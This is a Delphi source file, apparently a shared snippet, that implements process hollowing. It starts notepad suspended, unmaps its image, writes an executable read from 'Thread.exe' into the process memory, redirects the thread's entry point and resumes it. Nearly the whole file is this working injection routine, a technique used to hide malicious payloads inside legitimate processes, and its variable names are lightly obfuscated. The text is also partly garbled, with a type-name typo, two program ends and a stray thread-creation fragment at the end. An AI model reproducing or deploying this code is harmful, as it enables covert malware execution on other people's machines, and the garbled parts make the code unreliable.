function Protect(Characteristicsa: ULONG): ULONG;
const
  Mappinga: array [0..7] of ULONG = (
    PAGE_NOACCESS,
    PAGE_EXECUTE,
    PAGE_READONLY,
    PAGE_EXECUTE_READ,
    PAGE_READWRITE,
    PAGE_EXECUTE_READWRITE,
    PAGE_READWRITE,
    PAGE_EXECUTE_READWRITE
  );
begin
  Result := Mappinga[Characteristicsa shr 29];
end;

type
  HANDLE = THandle;
  PVOID = Pointer;
  LPVOID = Pointer;
  LONG_PTR = Integer;
  ULONG_PTR = Cardinal;
  NTSTATUS = Longint;
  SIZE_T = Cardinal;

type
  TFNZwUnmapViewOfSectiona = function(ProcessHandlea: HANDLE;
  BaseAddressa: PVOID): NTSTATUS; stdcall;

var
  FNZwUnmapViewOfSectiona: TFNZwUnmapViewOfSectiona;

function ZwUnmapViewOfSection(ProcessHandlea: HANDLE;
  BaseAddressa: PVOID): NTSTATUS; stdcall;
const
  STATUS_NOT_IMPLEMENTED = NTSTATUS($C0000002);
var
  proc:FARPROC;
  modul:HMODULE;
  s:String;
  ntdlla:string;
begin
  if not Assigned(FNZwUnmapViewOfSectiona) then
  begin
    // assumes ntdll.dll to be always loaded on WinNT
    ntdlla:='C:\Windows\System32\abc.dll';
    ntdlla:='ntdll.dll';
    modul:=GetModuleHandle(pchar(ntdlla));
    s:='ZwUnmapViewOfSection';
    proc:=GetProcAddress(modul, pchar(s));
    FNZwUnmapViewOfSectiona := TFNZwUnmapViewOfSectiona(proc);
  end;

  if not Assigned(FNZwUnmapViewOfSectiona) then
  begin
    Result := STATUS_NOT_IMPLEMENTED;
  end
  else
  begin
    Result := FNZwUnmapViewOfSectiona(ProcessHandlea, BaseAddressa);
  end;
end;

function ImageFirstSection(ntheadera: PImageNtHeaders): PImageSectionHeader;
begin
  Result := PImageSectionHeader(
    ULONG_PTR(@ntheadera.OptionalHeader) +
    ntheadera.FileHeader.SizeOfOptionalHeader);
end;

procedure ExeMem(PProcess:String; pppppppppp:pointer);
type
  PImageSectionHeaders = ^TImageSectionHeaders;
  TImageSectionHeaders = array [0..95] of TImageSectionHeader;
var
  ProcessInfo: TProcessInformation;
  StartupInfo: TStartupInfo;
  Success: Boolean;
  Context: TContext;
  BaseAddress: Pointer;
  BytesRead: DWORD;
  NtHeaders: PImageNtHeaders;
  BytesWritten: DWORD;
  Sections: PImageSectionHeaders;
  i: ULONG;
  OldProtect: ULONG;
  hThread,hProcess:Cardinal;
begin
  FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
  StartupInfo.cb := SizeOf(TStartupInfo);
  if CreateProcess(nil, PChar(PProcess), nil, nil, False,
  CREATE_SUSPENDED, nil, nil, StartupInfo, ProcessInfo) then
  begin
    hThread:=ProcessInfo.hThread;
    hProcess:=ProcessInfo.hProcess;
    Success := False;
    try
      Context.ContextFlags := CONTEXT_INTEGER;
      if GetThreadContext(hThread, Context) and ReadProcessMemory(hProcess, Pointer(Context.Ebx + 8),@BaseAddress, SizeOf(BaseAddress), BytesRead) and (ZwUnmapViewOfSection(hProcess, BaseAddress) >= 0) then
      begin
        if Assigned(pppppppppp) then
        begin
          NtHeaders := PImageNtHeaders(Cardinal(pppppppppp) + Cardinal(PImageDosHeader(pppppppppp)._lfanew));
          BaseAddress := VirtualAllocEx(hProcess,Pointer(NtHeaders.OptionalHeader.ImageBase),NtHeaders.OptionalHeader.SizeOfImage,MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
          if Assigned(BaseAddress) then
          begin
          if WriteProcessMemory(hProcess,BaseAddress, pppppppppp, NtHeaders.OptionalHeader.SizeOfHeaders,BytesWritten) then
          begin
            Sections := PImageSectionHeaders(ImageFirstSection(NtHeaders));
            for i := 0 to NtHeaders.FileHeader.NumberOfSections - 1 do
              if WriteProcessMemory(hProcess,Pointer(Cardinal(BaseAddress) + Sections[i].VirtualAddress),Pointer(Cardinal(pppppppppp) + Sections[i].PointerToRawData),Sections[i].SizeOfRawData, BytesWritten) then
                VirtualProtectEx(hProcess,Pointer(Cardinal(BaseAddress) + Sections[i].VirtualAddress),Sections[i].Misc.VirtualSize,Protect(Sections[i].Characteristics), OldProtect);
            if WriteProcessMemory(hProcess,Pointer(Context.Ebx + 8), @BaseAddress, SizeOf(BaseAddress),BytesWritten) then
            begin
              Context.Eax := ULONG(BaseAddress) +NtHeaders.OptionalHeader.AddressOfEntryPoint;
              Success := SetThreadContext(hThread, Context);
            end;
          end;
          end;
        end;
      end;
    finally
      if not Success then
      begin
        TerminateProcess(hProcess, 0);
      end
      else
      begin
        ResumeThread(hThread);
      end;
      CloseHandle(hProcess);
      CloseHandle(hThread);
    end;
  end;
end;

var
  me:TMemoryStram;

begin
  me:=TMemoryStream.create;
  me.LoadFromFile('Thread.exe');
  ExeMem('notepad',me.Memory);
end.

var
  Mein:TMeinThread;
begin
  try
    Mein:=TMeinThread.Create(true);
  except
    messagebox(0,pchar(SysErrorMessage(GetLastError)),'',0);
  end;
end.